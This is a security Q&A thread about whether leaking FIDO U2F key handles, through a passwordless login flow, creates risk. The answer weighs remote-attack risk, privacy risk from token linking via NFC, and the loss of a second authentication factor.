"Key handle" is a opaque item, that might be a encrypted private key, that is encrypted by the U2F smart card controller, but it might also be information that is only usable for the smart card controller to regenerate the private key, like a seed that is put into a deterministic RNG that is unique for that U2F device, a HMAC generation routine (Yubico U2F uses this), or it might just be a simple ID that Points to internal storage in the U2F key, but that would limit the number of websites the U2F key can be enrolled with.

According to the standard, the user should be authenticated by username+password Before starting U2F authentication.

But lets say we omit the password completely, and instead allow the user to put in their username, then they are taken to the U2F authentication, and voilá, they are in.

This however, would mean a malicious user could enumerate out all key handles, thus leaking all key handles in database.

Would leaked key handles be a security risk? It seems that it should not be, but since key handles could contain encrypted private keys, they could be (?).
A key handle would not be useable by a Another site than its designated AppID anyways, since the U2F device would reject any authentication attempts that uses a "stolen" key handle. However, this is enforced by the client software/browser, since a malicious client software/browser could simply fake the AppID.

Bottom line: If by "risk" you mean risk of exposing your service to the potential for remote attack, then no, there is no additional risk as long as the FIDO U2F tokens have been implemented properly.

However, access to this information does allow someone with physical access (via NFC, for example) to the token to easily confirm whether a given token is associated with a specific account or not. For example, if I suspect an association between a specific person (who uses an NFC U2F token, like a Yubikey NEO) and a user on your website, then I could quite easily verify this suspicion without their knowledge if I can get physically close enough to their token.

Different tokens may also have different lengths of the key handle. If the user uses a token with an unusual key handle length, then this may be be a method for helping to rule out token models.

If there happens to be a weakness in the FIDO U2F implementation on the token a user is using, then there is a chance it could be taken advantage of—but in that case the token's implementation is probably the larger issue.

Ultimately I think the decision to do something like this depends on your security requirements. What are the implications of someone associating one of your accounts to a specific token/person?

Also keep in mind that eliminating the password requirement reduces you back to single factor authentication.